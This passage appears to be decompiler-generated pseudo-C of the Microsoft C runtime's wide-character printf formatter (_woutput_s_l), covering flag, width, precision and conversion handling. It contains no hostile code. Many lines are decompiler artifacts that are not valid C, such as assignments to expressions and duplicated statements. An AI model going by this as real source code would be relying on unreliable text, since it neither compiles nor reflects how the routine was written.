												__eflags =  *(_t674 - 0x10) & 0x00000008;
												if(( *(_t674 - 0x10) & 0x00000008) != 0) {
													__eflags =  *(_t674 - 0x10) & 0x00000004;
													if(( *(_t674 - 0x10) & 0x00000004) == 0) {
														E00432110(0x30,  *((intOrPtr*)(_t674 - 0x4ac)),  *((intOrPtr*)(_t674 + 8)), _t674 - 0x44c);
														_t677 = _t677 + 0x10;
													}
												}
												__eflags =  *(_t674 - 0xc);
												if(__eflags != 0) {
													L208:
													E00432150( *(_t674 - 0x24), __eflags,  *((intOrPtr*)(_t674 - 4)),  *(_t674 - 0x24),  *((intOrPtr*)(_t674 + 8)), _t674 - 0x44c);
													_t677 = _t677 + 0x10;
													goto L209;
												} else {
													L201:
													__eflags =  *(_t674 - 0x24);
													if(__eflags <= 0) {
														goto L208;
													}
													L202:
													 *((intOrPtr*)(_t674 - 0x4b0)) =  *((intOrPtr*)(_t674 - 4));
													 *(_t674 - 0x4b4) =  *(_t674 - 0x24);
													while(1) {
														L203:
														 *(_t674 - 0x4b4) =  *(_t674 - 0x4b4) - 1;
														__eflags =  *(_t674 - 0x4b4);
														if( *(_t674 - 0x4b4) <= 0) {
															break;
														}
														L204:
														_t537 = E0041B2D0(_t674 - 0x40);
														_t541 = E00425270(_t674 - 0x458,  *((intOrPtr*)(_t674 - 0x4b0)),  *((intOrPtr*)( *((intOrPtr*)(E0041B2D0(_t674 - 0x40))) + 0xac)), _t537);
														_t677 = _t677 + 0x10;
														 *(_t674 - 0x4b8) = _t541;
														__eflags =  *(_t674 - 0x4b8);
														if( *(_t674 - 0x4b8) > 0) {
															L206:
															E004320B0( *(_t674 - 0x458) & 0x0000ffff,  *((intOrPtr*)(_t674 + 8)), _t674 - 0x44c);
															_t677 = _t677 + 0xc;
															 *((intOrPtr*)(_t674 - 0x4b0)) =  *((intOrPtr*)(_t674 - 0x4b0)) +  *(_t674 - 0x4b8);
															continue;
														}
														L205:
														 *(_t674 - 0x44c) = 0xffffffff;
														break;
													}
													L207:
													L209:
													__eflags =  *(_t674 - 0x44c);
													if( *(_t674 - 0x44c) >= 0) {
														__eflags =  *(_t674 - 0x10) & 0x00000004;
														if(( *(_t674 - 0x10) & 0x00000004) != 0) {
															E00432110(0x20,  *((intOrPtr*)(_t674 - 0x4ac)),  *((intOrPtr*)(_t674 + 8)), _t674 - 0x44c);
															_t677 = _t677 + 0x10;
														}
													}
												}
												L212:
												__eflags =  *(_t674 - 0x20);
												if( *(_t674 - 0x20) != 0) {
													L0041DD40( *(_t674 - 0x20), 2);
													_t677 = _t677 + 8;
													 *(_t674 - 0x20) = 0;
												}
												while(1) {
													L214:
													 *(_t674 - 0x454) =  *((intOrPtr*)( *((intOrPtr*)(_t674 + 0xc))));
													_t580 =  *(_t674 - 0x454) & 0x0000ffff;
													 *((intOrPtr*)(_t674 + 0xc)) =  *((intOrPtr*)(_t674 + 0xc)) + 2;
													__eflags =  *(_t674 - 0x454) & 0x0000ffff;
													if(( *(_t674 - 0x454) & 0x0000ffff) == 0) {
														break;
													}
													L2:
													__eflags =  *(_t674 - 0x44c);
													if( *(_t674 - 0x44c) < 0) {
														break;
													}
													L3:
													__eflags = ( *(_t674 - 0x454) & 0x0000ffff) - 0x20;
													if(( *(_t674 - 0x454) & 0x0000ffff) < 0x20) {
														L6:
														 *(_t674 - 0x4d8) = 0;
														L7:
														 *(_t674 - 0x450) =  *(_t674 - 0x4d8);
														_t644 =  *(_t674 - 0x450) * 9;
														_t511 =  *(_t674 - 0x45c);
														_t588 = ( *(_t644 + _t511 + 0x4077d8) & 0x000000ff) >> 4;
														 *(_t674 - 0x45c) = ( *(_t644 + _t511 + 0x4077d8) & 0x000000ff) >> 4;
														__eflags =  *(_t674 - 0x45c) - 8;
														if( *(_t674 - 0x45c) != 8) {
															L16:
															 *(_t674 - 0x4e0) =  *(_t674 - 0x45c);
															__eflags =  *(_t674 - 0x4e0) - 7;
															if( *(_t674 - 0x4e0) > 7) {
																continue;
															}
															L17:
															switch( *((intOrPtr*)( *(_t674 - 0x4e0) * 4 +  &M00431FAC))) {
																case 0:
																	L18:
																	 *(_t674 - 0xc) = 1;
																	E004320B0( *(_t674 - 0x454) & 0x0000ffff,  *((intOrPtr*)(_t674 + 8)), _t674 - 0x44c);
																	_t677 = _t677 + 0xc;
																	goto L214;
																case 1:
																	L19:
																	 *(__ebp - 0x2c) = 0;
																	__ecx =  *(__ebp - 0x2c);
																	 *(__ebp - 0x28) = __ecx;
																	__edx =  *(__ebp - 0x28);
																	 *(__ebp - 0x18) =  *(__ebp - 0x28);
																	__eax =  *(__ebp - 0x18);
																	 *(__ebp - 0x1c) =  *(__ebp - 0x18);
																	 *(__ebp - 0x10) = 0;
																	 *(__ebp - 0x30) = 0xffffffff;
																	 *(__ebp - 0xc) = 0;
																	goto L214;
																case 2:
																	L20:
																	__ecx =  *(__ebp - 0x454) & 0x0000ffff;
																	 *(__ebp - 0x4e4) = __ecx;
																	 *(__ebp - 0x4e4) =  *(__ebp - 0x4e4) - 0x20;
																	 *(__ebp - 0x4e4) =  *(__ebp - 0x4e4) - 0x20;
																	__eflags =  *(__ebp - 0x4e4) - 0x10;
																	if( *(__ebp - 0x4e4) > 0x10) {
																		goto L27;
																	}
																	L21:
																	_t59 =  *(__ebp - 0x4e4) + 0x431fe4; // 0x498d04
																	__ecx =  *_t59 & 0x000000ff;
																	switch( *((intOrPtr*)(__ecx * 4 +  &M00431FCC))) {
																		case 0:
																			goto L24;
																		case 1:
																			goto L25;
																		case 2:
																			goto L23;
																		case 3:
																			goto L22;
																		case 4:
																			goto L26;
																		case 5:
																			goto L27;
																	}
																case 3:
																	L28:
																	__ecx =  *(__ebp - 0x454) & 0x0000ffff;
																	__eflags = ( *(__ebp - 0x454) & 0x0000ffff) - 0x2a;
																	if(( *(__ebp - 0x454) & 0x0000ffff) != 0x2a) {
																		__edx =  *(__ebp - 0x18);
																		__edx =  *(__ebp - 0x18) * 0xa;
																		__eflags = __edx;
																		_t83 = ( *(__ebp - 0x454) & 0x0000ffff) - 0x30; // -48
																		__ecx = __edx + _t83;
																		 *(__ebp - 0x18) = __ecx;
																	} else {
																		__edx = __ebp + 0x14;
																		 *(__ebp - 0x18) = E0042BCB0(__ebp + 0x14);
																		__eflags =  *(__ebp - 0x18);
																		if( *(__ebp - 0x18) < 0) {
																			__eax =  *(__ebp - 0x10);
																			__eax =  *(__ebp - 0x10) | 0x00000004;
																			__eflags = __eax;
																			 *(__ebp - 0x10) = __eax;
																			__ecx =  *(__ebp - 0x18);
																			__ecx =  ~( *(__ebp - 0x18));
																			 *(__ebp - 0x18) = __ecx;
																		}
																	}
																	L33:
																	goto L214;
																case 4:
																	L34:
																	 *(__ebp - 0x30) = 0;
																	goto L214;
																case 5:
																	L35:
																	__edx =  *(__ebp - 0x454) & 0x0000ffff;
																	__eflags = ( *(__ebp - 0x454) & 0x0000ffff) - 0x2a;
																	if(( *(__ebp - 0x454) & 0x0000ffff) != 0x2a) {
																		__ecx =  *(__ebp - 0x30);
																		__ecx =  *(__ebp - 0x30) * 0xa;
																		__eflags = __ecx;
																		_t94 = ( *(__ebp - 0x454) & 0x0000ffff) - 0x30; // -48
																		__eax = __ecx + _t94;
																		 *(__ebp - 0x30) = __ecx + _t94;
																	} else {
																		__eax = __ebp + 0x14;
																		 *(__ebp - 0x30) = E0042BCB0(__ebp + 0x14);
																		__eflags =  *(__ebp - 0x30);
																		if( *(__ebp - 0x30) < 0) {
																			 *(__ebp - 0x30) = 0xffffffff;
																		}
																	}
																	goto L214;
																case 6:
																	L41:
																	__ecx =  *(__ebp - 0x454) & 0x0000ffff;
																	 *(__ebp - 0x4e8) = __ecx;
																	 *(__ebp - 0x4e8) =  *(__ebp - 0x4e8) - 0x49;
																	 *(__ebp - 0x4e8) =  *(__ebp - 0x4e8) - 0x49;
																	__eflags =  *(__ebp - 0x4e8) - 0x2e;
																	if( *(__ebp - 0x4e8) > 0x2e) {
																		L64:
																		goto L214;
																	}
																	L42:
																	_t102 =  *(__ebp - 0x4e8) + 0x43200c; // 0x18219003
																	__ecx =  *_t102 & 0x000000ff;
																	switch( *((intOrPtr*)(__ecx * 4 +  &M00431FF8))) {
																		case 0:
																			L47:
																			__ecx =  *(__ebp + 0xc);
																			__edx =  *( *(__ebp + 0xc)) & 0x0000ffff;
																			__eflags = ( *( *(__ebp + 0xc)) & 0x0000ffff) - 0x36;
																			if(( *( *(__ebp + 0xc)) & 0x0000ffff) != 0x36) {
																				L50:
																				__ecx =  *(__ebp + 0xc);
																				__edx =  *( *(__ebp + 0xc)) & 0x0000ffff;
																				__eflags = ( *( *(__ebp + 0xc)) & 0x0000ffff) - 0x33;
																				if(( *( *(__ebp + 0xc)) & 0x0000ffff) != 0x33) {
																					L53:
																					__ecx =  *(__ebp + 0xc);
																					__edx =  *__ecx & 0x0000ffff;
																					__eflags = ( *__ecx & 0x0000ffff) - 0x64;
																					if(( *__ecx & 0x0000ffff) == 0x64) {
																						L59:
																						L61:
																						goto L64;
																					}
																					L54:
																					__eax =  *(__ebp + 0xc);
																					__ecx =  *( *(__ebp + 0xc)) & 0x0000ffff;
																					__eflags = __ecx - 0x69;
																					if(__ecx == 0x69) {
																						goto L59;
																					}
																					L55:
																					__edx =  *(__ebp + 0xc);
																					__eax =  *( *(__ebp + 0xc)) & 0x0000ffff;
																					__eflags = ( *( *(__ebp + 0xc)) & 0x0000ffff) - 0x6f;
																					if(( *( *(__ebp + 0xc)) & 0x0000ffff) == 0x6f) {
																						goto L59;
																					}
																					L56:
																					__ecx =  *(__ebp + 0xc);
																					__edx =  *__ecx & 0x0000ffff;
																					__eflags = ( *__ecx & 0x0000ffff) - 0x75;
																					if(( *__ecx & 0x0000ffff) == 0x75) {
																						goto L59;
																					}
																					L57:
																					__eax =  *(__ebp + 0xc);
																					__ecx =  *( *(__ebp + 0xc)) & 0x0000ffff;
																					__eflags = __ecx - 0x78;
																					if(__ecx == 0x78) {
																						goto L59;
																					}
																					L58:
																					__edx =  *(__ebp + 0xc);
																					__eax =  *( *(__ebp + 0xc)) & 0x0000ffff;
																					__eflags = ( *( *(__ebp + 0xc)) & 0x0000ffff) - 0x58;
																					if(( *( *(__ebp + 0xc)) & 0x0000ffff) != 0x58) {
																						 *(__ebp - 0x45c) = 0;
																						goto L18;
																					}
																					goto L59;
																				}
																				L51:
																				__eax =  *(__ebp + 0xc);
																				__ecx =  *( *(__ebp + 0xc) + 2) & 0x0000ffff;
																				__eflags = __ecx - 0x32;
																				if(__ecx != 0x32) {
																					goto L53;
																				} else {
																					 *(__ebp + 0xc) =  *(__ebp + 0xc) + 4;
																					 *(__ebp + 0xc) =  *(__ebp + 0xc) + 4;
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0xffff7fff;
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0xffff7fff;
																					goto L61;
																				}
																			}
																			L48:
																			__eax =  *(__ebp + 0xc);
																			__ecx =  *( *(__ebp + 0xc) + 2) & 0x0000ffff;
																			__eflags = __ecx - 0x34;
																			if(__ecx != 0x34) {
																				goto L50;
																			} else {
																				 *(__ebp + 0xc) =  *(__ebp + 0xc) + 4;
																				 *(__ebp + 0xc) =  *(__ebp + 0xc) + 4;
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00008000;
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00008000;
																				goto L61;
																			}
																		case 1:
																			L62:
																			__ecx =  *(__ebp - 0x10);
																			__ecx =  *(__ebp - 0x10) | 0x00000020;
																			 *(__ebp - 0x10) = __ecx;
																			goto L64;
																		case 2:
																			L43:
																			__edx =  *(__ebp + 0xc);
																			__eax =  *( *(__ebp + 0xc)) & 0x0000ffff;
																			__eflags = ( *( *(__ebp + 0xc)) & 0x0000ffff) - 0x6c;
																			if(( *( *(__ebp + 0xc)) & 0x0000ffff) != 0x6c) {
																				__eax =  *(__ebp - 0x10);
																				__eax =  *(__ebp - 0x10) | 0x00000010;
																				__eflags = __eax;
																				 *(__ebp - 0x10) = __eax;
																			} else {
																				__ecx =  *(__ebp + 0xc);
																				__ecx =  *(__ebp + 0xc) + 2;
																				 *(__ebp + 0xc) = __ecx;
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
																			}
																			goto L64;
																		case 3:
																			L63:
																			__edx =  *(__ebp - 0x10);
																			__edx =  *(__ebp - 0x10) | 0x00000800;
																			__eflags = __edx;
																			 *(__ebp - 0x10) = __edx;
																			goto L64;
																		case 4:
																			goto L64;
																	}
																case 7:
																	L65:
																	__eax =  *(__ebp - 0x454) & 0x0000ffff;
																	 *(__ebp - 0x4ec) =  *(__ebp - 0x454) & 0x0000ffff;
																	__ecx =  *(__ebp - 0x4ec);
																	__ecx =  *(__ebp - 0x4ec) - 0x41;
																	 *(__ebp - 0x4ec) = __ecx;
																	__eflags =  *(__ebp - 0x4ec) - 0x37;
																	if( *(__ebp - 0x4ec) > 0x37) {
																		while(1) {
																			L187:
																			__eflags =  *(_t674 - 0x28);
																			if( *(_t674 - 0x28) != 0) {
																				goto L212;
																			}
																			goto L188;
																		}
																	}
																	L66:
																	__edx =  *(__ebp - 0x4ec);
																	_t143 = __edx + 0x432078; // 0x55ff8b0d
																	__eax =  *_t143 & 0x000000ff;
																	switch( *((intOrPtr*)(( *_t143 & 0x000000ff) * 4 +  &M0043203C))) {
																		case 0:
																			L120:
																			 *(__ebp - 0x2c) = 1;
																			 *(__ebp - 0x454) & 0x0000ffff = ( *(__ebp - 0x454) & 0x0000ffff) + 0x20;
																			__eflags = ( *(__ebp - 0x454) & 0x0000ffff) + 0x20;
																			 *(__ebp - 0x454) = __ax;
																			goto L121;
																		case 1:
																			L67:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
																			__eflags =  *(__ebp - 0x10) & 0x00000830;
																			if(( *(__ebp - 0x10) & 0x00000830) == 0) {
																				__edx =  *(__ebp - 0x10);
																				__edx =  *(__ebp - 0x10) | 0x00000020;
																				__eflags = __edx;
																				 *(__ebp - 0x10) = __edx;
																			}
																			goto L69;
																		case 2:
																			L82:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
																			__eflags =  *(__ebp - 0x10) & 0x00000830;
																			if(( *(__ebp - 0x10) & 0x00000830) == 0) {
																				__ecx =  *(__ebp - 0x10);
																				__ecx =  *(__ebp - 0x10) | 0x00000020;
																				__eflags = __ecx;
																				 *(__ebp - 0x10) = __ecx;
																			}
																			goto L84;
																		case 3:
																			L143:
																			 *(__ebp - 0x460) = 7;
																			goto L145;
																		case 4:
																			L75:
																			__eax = __ebp + 0x14;
																			 *(__ebp - 0x474) = E0042BCB0(__ebp + 0x14);
																			__eflags =  *(__ebp - 0x474);
																			if( *(__ebp - 0x474) == 0) {
																				L77:
																				__edx =  *0x43eec8; // 0x4075b0
																				 *(__ebp - 4) = __edx;
																				__eax =  *(__ebp - 4);
																				 *(__ebp - 0x24) = E00420240( *(__ebp - 4));
																				L81:
																				goto L187;
																			}
																			L76:
																			__ecx =  *(__ebp - 0x474);
																			__eflags =  *(__ecx + 4);
																			if( *(__ecx + 4) != 0) {
																				L78:
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000800;
																				__eflags =  *(__ebp - 0x10) & 0x00000800;
																				if(( *(__ebp - 0x10) & 0x00000800) == 0) {
																					 *(__ebp - 0xc) = 0;
																					__edx =  *(__ebp - 0x474);
																					__eax =  *(__edx + 4);
																					 *(__ebp - 4) =  *(__edx + 4);
																					__ecx =  *(__ebp - 0x474);
																					__edx =  *__ecx;
																					 *(__ebp - 0x24) =  *__ecx;
																				} else {
																					__edx =  *(__ebp - 0x474);
																					__eax =  *(__edx + 4);
																					 *(__ebp - 4) =  *(__edx + 4);
																					__ecx =  *(__ebp - 0x474);
																					__eax =  *__ecx;
																					asm("cdq");
																					 *__ecx - __edx =  *__ecx - __edx >> 1;
																					 *(__ebp - 0x24) =  *__ecx - __edx >> 1;
																					 *(__ebp - 0xc) = 1;
																				}
																				goto L81;
																			}
																			goto L77;
																		case 5:
																			L121:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																			__edx = __ebp - 0x448;
																			 *(__ebp - 4) = __ebp - 0x448;
																			 *(__ebp - 0x44) = 0x200;
																			__eflags =  *(__ebp - 0x30);
																			if( *(__ebp - 0x30) >= 0) {
																				L123:
																				__eflags =  *(__ebp - 0x30);
																				if( *(__ebp - 0x30) != 0) {
																					L126:
																					__eflags =  *(__ebp - 0x30) - 0x200;
																					if( *(__ebp - 0x30) > 0x200) {
																						 *(__ebp - 0x30) = 0x200;
																					}
																					L128:
																					__eflags =  *(__ebp - 0x30) - 0xa3;
																					if( *(__ebp - 0x30) > 0xa3) {
																						__ecx =  *(__ebp - 0x30);
																						__ecx =  *(__ebp - 0x30) + 0x15d;
																						 *(__ebp - 0x20) = L0041D040( *(__ebp - 0x30) + 0x15d,  *(__ebp - 0x30) + 0x15d, 2, "f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x6da);
																						__eflags =  *(__ebp - 0x20);
																						if( *(__ebp - 0x20) == 0) {
																							 *(__ebp - 0x30) = 0xa3;
																						} else {
																							__edx =  *(__ebp - 0x20);
																							 *(__ebp - 4) =  *(__ebp - 0x20);
																							 *(__ebp - 0x30) =  *(__ebp - 0x30) + 0x15d;
																							 *(__ebp - 0x44) =  *(__ebp - 0x30) + 0x15d;
																						}
																					}
																					 *(__ebp + 0x14) =  *(__ebp + 0x14) + 8;
																					 *(__ebp + 0x14) =  *(__ebp + 0x14) + 8;
																					__edx =  *(__ebp + 0x14);
																					__eax =  *(__edx - 8);
																					__ecx =  *(__edx - 4);
																					 *(__ebp - 0x490) =  *(__edx - 8);
																					 *(__ebp - 0x48c) =  *(__edx - 4);
																					__ecx = __ebp - 0x40;
																					_push(E0041B2D0(__ebp - 0x40));
																					__edx =  *(__ebp - 0x2c);
																					_push( *(__ebp - 0x2c));
																					__eax =  *(__ebp - 0x30);
																					_push( *(__ebp - 0x30));
																					__ecx =  *(__ebp - 0x454);
																					_push( *(__ebp - 0x454));
																					__edx =  *(__ebp - 0x44);
																					_push( *(__ebp - 0x44));
																					__eax =  *(__ebp - 4);
																					_push(__eax);
																					__ecx = __ebp - 0x490;
																					_push(__ebp - 0x490);
																					__edx =  *0x43e478; // 0x72b0f098
																					_push(__edx);
																					__imp__DecodePointer();
																					__eax =  *__eax();
																					__esp = __esp + 0x1c;
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																					__eflags =  *(__ebp - 0x10) & 0x00000080;
																					if(( *(__ebp - 0x10) & 0x00000080) != 0) {
																						__eflags =  *(__ebp - 0x30);
																						if( *(__ebp - 0x30) == 0) {
																							__ecx = __ebp - 0x40;
																							__eax = E0041B2D0(__ebp - 0x40);
																							_push(__eax);
																							__ecx =  *(__ebp - 4);
																							_push( *(__ebp - 4));
																							__edx =  *0x43e484; // 0x58d0f098
																							_push(__edx);
																							__imp__DecodePointer();
																							__eax =  *__eax();
																							__esp = __esp + 8;
																						}
																					}
																					__eax =  *(__ebp - 0x454) & 0x0000ffff;
																					__eflags = ( *(__ebp - 0x454) & 0x0000ffff) - 0x67;
																					if(( *(__ebp - 0x454) & 0x0000ffff) == 0x67) {
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																						__eflags =  *(__ebp - 0x10) & 0x00000080;
																						if(( *(__ebp - 0x10) & 0x00000080) == 0) {
																							__ecx = __ebp - 0x40;
																							_push(E0041B2D0(__ebp - 0x40));
																							__edx =  *(__ebp - 4);
																							_push( *(__ebp - 4));
																							__eax =  *0x43e480; // 0x5930f098
																							_push(__eax);
																							__imp__DecodePointer();
																							__eax =  *__eax();
																							__esp = __esp + 8;
																						}
																					}
																					__ecx =  *(__ebp - 4);
																					__edx =  *( *(__ebp - 4));
																					__eflags =  *( *(__ebp - 4)) - 0x2d;
																					if( *( *(__ebp - 4)) == 0x2d) {
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
																						__ecx =  *(__ebp - 4);
																						__ecx =  *(__ebp - 4) + 1;
																						__eflags = __ecx;
																						 *(__ebp - 4) = __ecx;
																					}
																					__edx =  *(__ebp - 4);
																					 *(__ebp - 0x24) = E00420240( *(__ebp - 4));
																					do {
																						L187:
																						__eflags =  *(_t674 - 0x28);
																						if( *(_t674 - 0x28) != 0) {
																							goto L212;
																						}
																						goto L188;
																					} while ( *(__ebp - 0x4ec) > 0x37);
																					goto L66;
																				}
																				L124:
																				__eax =  *(__ebp - 0x454) & 0x0000ffff;
																				__eflags = ( *(__ebp - 0x454) & 0x0000ffff) - 0x67;
																				if(( *(__ebp - 0x454) & 0x0000ffff) != 0x67) {
																					goto L126;
																				}
																				L125:
																				 *(__ebp - 0x30) = 1;
																				goto L128;
																			}
																			L122:
																			 *(__ebp - 0x30) = 6;
																			goto L128;
																		case 6:
																			L69:
																			 *(__ebp - 0xc) = 1;
																			__ebp + 0x14 = E0042BCB0(__ebp + 0x14);
																			 *(__ebp - 0x458) = __ax;
																			__ecx =  *(__ebp - 0x10);
																			__ecx =  *(__ebp - 0x10) & 0x00000020;
																			__eflags = __ecx;
																			if(__ecx == 0) {
																				 *(__ebp - 0x448) =  *(__ebp - 0x458);
																			} else {
																				 *(__ebp - 0x458) & 0x0000ffff =  *(__ebp - 0x458) & 0xff;
																				 *(__ebp - 0x470) = __dl;
																				 *((char*)(__ebp - 0x46f)) = 0;
																				__ecx = __ebp - 0x40;
																				__eax = E0041B2D0(__ebp - 0x40);
																				__ecx = __ebp - 0x40;
																				E0041B2D0(__ebp - 0x40) =  *__eax;
																				__ecx =  *(__ebp - 0x448 + 0xac);
																				__edx = __ebp - 0x470;
																				__eax = __ebp - 0x448;
																				__eax = E00425270(__ebp - 0x448, __ebp - 0x470,  *(__ebp - 0x448 + 0xac), __ebp - 0x448);
																				__eflags = __eax;
																				if(__eax < 0) {
																					 *(__ebp - 0x28) = 1;
																				}
																			}
																			__edx = __ebp - 0x448;
																			 *(__ebp - 4) = __ebp - 0x448;
																			 *(__ebp - 0x24) = 1;
																			while(1) {
																				L187:
																				__eflags =  *(_t674 - 0x28);
																				if( *(_t674 - 0x28) != 0) {
																					goto L212;
																				}
																				goto L188;
																			}
																		case 7:
																			goto L0;
																		case 8:
																			L106:
																			__eax = __ebp + 0x14;
																			 *(__ebp - 0x484) = E0042BCB0(__ebp + 0x14);
																			__eax = E00432210();
																			__eflags = __eax;
																			if(__eax != 0) {
																				L116:
																				__ecx =  *(__ebp - 0x10);
																				__ecx =  *(__ebp - 0x10) & 0x00000020;
																				__eflags = __ecx;
																				if(__ecx == 0) {
																					__ecx =  *(__ebp - 0x484);
																					__edx =  *(__ebp - 0x44c);
																					 *__ecx =  *(__ebp - 0x44c);
																				} else {
																					__edx =  *(__ebp - 0x484);
																					__ax =  *(__ebp - 0x44c);
																					 *( *(__ebp - 0x484)) = __ax;
																				}
																				 *(__ebp - 0x28) = 1;
																				while(1) {
																					L187:
																					__eflags =  *(_t674 - 0x28);
																					if( *(_t674 - 0x28) != 0) {
																						goto L212;
																					}
																					goto L188;
																				}
																			}
																			L107:
																			__ecx = 0;
																			__eflags = 0;
																			if(0 == 0) {
																				 *(__ebp - 0x4f4) = 0;
																			} else {
																				 *(__ebp - 0x4f4) = 1;
																			}
																			__edx =  *(__ebp - 0x4f4);
																			 *(__ebp - 0x488) =  *(__ebp - 0x4f4);
																			__eflags =  *(__ebp - 0x488);
																			if( *(__ebp - 0x488) == 0) {
																				_push(L"(\"\'n\' format specifier disabled\", 0)");
																				_push(0);
																				_push(0x695);
																				_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
																				_push(2);
																				__eax = L0041AAF0();
																				__esp = __esp + 0x14;
																				__eflags = __eax - 1;
																				if(__eax == 1) {
																					asm("int3");
																				}
																			}
																			__eflags =  *(__ebp - 0x488);
																			if( *(__ebp - 0x488) != 0) {
																				L115:
																				while(1) {
																					L187:
																					__eflags =  *(_t674 - 0x28);
																					if( *(_t674 - 0x28) != 0) {
																						goto L212;
																					}
																					goto L188;
																				}
																			} else {
																				L114:
																				 *((intOrPtr*)(L0041A7C0(__ecx))) = 0x16;
																				__eax = E00419D60(__ecx, L"(\"\'n\' format specifier disabled\", 0)", L"_woutput_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x695, 0);
																				 *(__ebp - 0x4cc) = 0xffffffff;
																				__ecx = __ebp - 0x40;
																				__eax = E0041B2A0(__ecx);
																				__eax =  *(__ebp - 0x4cc);
																				goto L225;
																			}
																		case 9:
																			L148:
																			 *(__ebp - 8) = 8;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																			__eflags =  *(__ebp - 0x10) & 0x00000080;
																			if(( *(__ebp - 0x10) & 0x00000080) != 0) {
																				__edx =  *(__ebp - 0x10);
																				__edx =  *(__ebp - 0x10) | 0x00000200;
																				__eflags = __edx;
																				 *(__ebp - 0x10) = __edx;
																			}
																			goto L150;
																		case 0xa:
																			L142:
																			 *(__ebp - 0x30) = 8;
																			goto L143;
																		case 0xb:
																			L84:
																			__eflags =  *(__ebp - 0x30) - 0xffffffff;
																			if( *(__ebp - 0x30) != 0xffffffff) {
																				__edx =  *(__ebp - 0x30);
																				 *(__ebp - 0x4f0) =  *(__ebp - 0x30);
																			} else {
																				 *(__ebp - 0x4f0) = 0x7fffffff;
																			}
																			__eax =  *(__ebp - 0x4f0);
																			 *(__ebp - 0x47c) =  *(__ebp - 0x4f0);
																			__ecx = __ebp + 0x14;
																			 *(__ebp - 4) = E0042BCB0(__ebp + 0x14);
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
																			__eflags =  *(__ebp - 0x10) & 0x00000020;
																			if(( *(__ebp - 0x10) & 0x00000020) == 0) {
																				L98:
																				__eflags =  *(__ebp - 4);
																				if( *(__ebp - 4) == 0) {
																					__ecx =  *0x43eecc; // 0x4075a0
																					 *(__ebp - 4) = __ecx;
																				}
																				 *(__ebp - 0xc) = 1;
																				__edx =  *(__ebp - 4);
																				 *(__ebp - 0x480) =  *(__ebp - 4);
																				while(1) {
																					L101:
																					__eax =  *(__ebp - 0x47c);
																					__ecx =  *(__ebp - 0x47c);
																					__ecx =  *(__ebp - 0x47c) - 1;
																					 *(__ebp - 0x47c) = __ecx;
																					__eflags =  *(__ebp - 0x47c);
																					if( *(__ebp - 0x47c) == 0) {
																						break;
																					}
																					L102:
																					__edx =  *(__ebp - 0x480);
																					__eax =  *( *(__ebp - 0x480)) & 0x0000ffff;
																					__eflags =  *( *(__ebp - 0x480)) & 0x0000ffff;
																					if(( *( *(__ebp - 0x480)) & 0x0000ffff) == 0) {
																						break;
																					}
																					L103:
																					 *(__ebp - 0x480) =  *(__ebp - 0x480) + 2;
																					 *(__ebp - 0x480) =  *(__ebp - 0x480) + 2;
																				}
																				L104:
																				__edx =  *(__ebp - 0x480);
																				__edx =  *(__ebp - 0x480) -  *(__ebp - 4);
																				__eflags = __edx;
																				 *(__ebp - 0x24) = __edx;
																				goto L105;
																			} else {
																				L88:
																				__eflags =  *(__ebp - 4);
																				if( *(__ebp - 4) == 0) {
																					__eax =  *0x43eec8; // 0x4075b0
																					 *(__ebp - 4) = __eax;
																				}
																				__ecx =  *(__ebp - 4);
																				 *(__ebp - 0x478) = __ecx;
																				 *(__ebp - 0x24) = 0;
																				while(1) {
																					L92:
																					__eax =  *(__ebp - 0x24);
																					__eflags =  *(__ebp - 0x24) -  *(__ebp - 0x47c);
																					if( *(__ebp - 0x24) >=  *(__ebp - 0x47c)) {
																						break;
																					}
																					L93:
																					__ecx =  *(__ebp - 0x478);
																					__edx =  *__ecx;
																					__eflags =  *__ecx;
																					if( *__ecx == 0) {
																						break;
																					}
																					L94:
																					__ecx = __ebp - 0x40;
																					E0041B2D0(__ebp - 0x40) =  *(__ebp - 0x478);
																					__ecx =  *( *(__ebp - 0x478)) & 0x000000ff;
																					__eax = E004254B0( *( *(__ebp - 0x478)) & 0x000000ff,  *(__ebp - 0x478));
																					__eflags = __eax;
																					if(__eax != 0) {
																						__edx =  *(__ebp - 0x478);
																						__edx =  *(__ebp - 0x478) + 1;
																						__eflags = __edx;
																						 *(__ebp - 0x478) = __edx;
																					}
																					 *(__ebp - 0x478) =  *(__ebp - 0x478) + 1;
																					 *(__ebp - 0x478) =  *(__ebp - 0x478) + 1;
																					__edx =  *(__ebp - 0x24);
																					__edx =  *(__ebp - 0x24) + 1;
																					__eflags = __edx;
																					 *(__ebp - 0x24) = __edx;
																				}
																				L97:
																				L105:
																				while(1) {
																					L187:
																					__eflags =  *(_t674 - 0x28);
																					if( *(_t674 - 0x28) != 0) {
																						goto L212;
																					}
																					goto L188;
																				}
																			}
																		case 0xc:
																			L141:
																			 *(__ebp - 8) = 0xa;
																			goto L150;
																		case 0xd:
																			L144:
																			 *(__ebp - 0x460) = 0x27;
																			L145:
																			 *(__ebp - 8) = 0x10;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																			__eflags =  *(__ebp - 0x10) & 0x00000080;
																			if(( *(__ebp - 0x10) & 0x00000080) != 0) {
																				__edx = 0x30;
																				 *((short*)(__ebp - 0x14)) = __dx;
																				 *(__ebp - 0x460) =  *(__ebp - 0x460) + 0x51;
